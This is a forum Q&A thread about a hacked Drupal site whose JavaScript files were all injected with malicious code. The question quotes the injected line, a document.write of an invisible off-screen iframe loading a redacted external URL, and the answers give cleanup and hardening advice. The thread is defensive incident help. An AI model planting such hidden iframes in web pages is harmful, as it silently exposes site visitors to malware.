I found that in all(i mean all drupal js files) javascript files on my drupal website, there is a javascript code with an iframe pointing to an external website.
When opening the website through Google crome, the Browser shows Malware warning.
How is it possible that someone was able to write on the javascript files? My settings.php permission is 0444 readOnly

Below is the sample of the injected code


   $("#edit-search-web").Watermark(" type the keyword");

 });;document.write('<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="SOMEBADURL"></iframe>');

Without knowing the specifics or your installation, nobody can give you the exact reason you got hacked.

I suspect that your server is running a vulnerable version of PHP and that Apache has write access to your site files. Typically, there will be a bot that will GET a specifc URL that will download a script onto the server, which will then append to well-known (or all) Javascript files. These additions will add in the malicious code.

After you fix this problem, you should.

  • Patch your PHP to bring it up to the latest revision for your version of PHP.
  • Update Drupal to the latest revision for your version.
  • Clean out your /tmp folders on the server and reboot it.
  • Read up on Securing file permissions and ownership. It is important that you fix permissions each time you update files; a lot of FTP clients botch permissions when they upload.
  • If you are on shared hosting, consider moving to a VPS or Drupal specific hosting. Running Apache as your login account makes sense for the server owners, not the website owner.
  • Create a git repo in your DOCROOT, add all of the files (the standard gitignore shoud be fine), and create a "remote" repo on the local filesystem that you can git push to. This makes backuping up and restoring site files pretty easy.
  • I have asked my server provider to set my website to 503. While we are looking for the cause. Thank you very much for your suggestions, i wrote them to my service provider waiting for a response! The other strange thing is i also find a php file named wtm7568n.php on the root of my server(It is outside the public_html). – mrcniceguy Dec 28 '12 at 19:26

If the changed files are part of conributed modules, the Hacked! module could comme in handy.

This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed.

  • It is not only the contributed modules js, its all the drupal including core javascript files. – mrcniceguy Dec 28 '12 at 19:27
  • @mrcniceguy diff module is good to track changed files. – niksmac Dec 29 '12 at 7:08

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.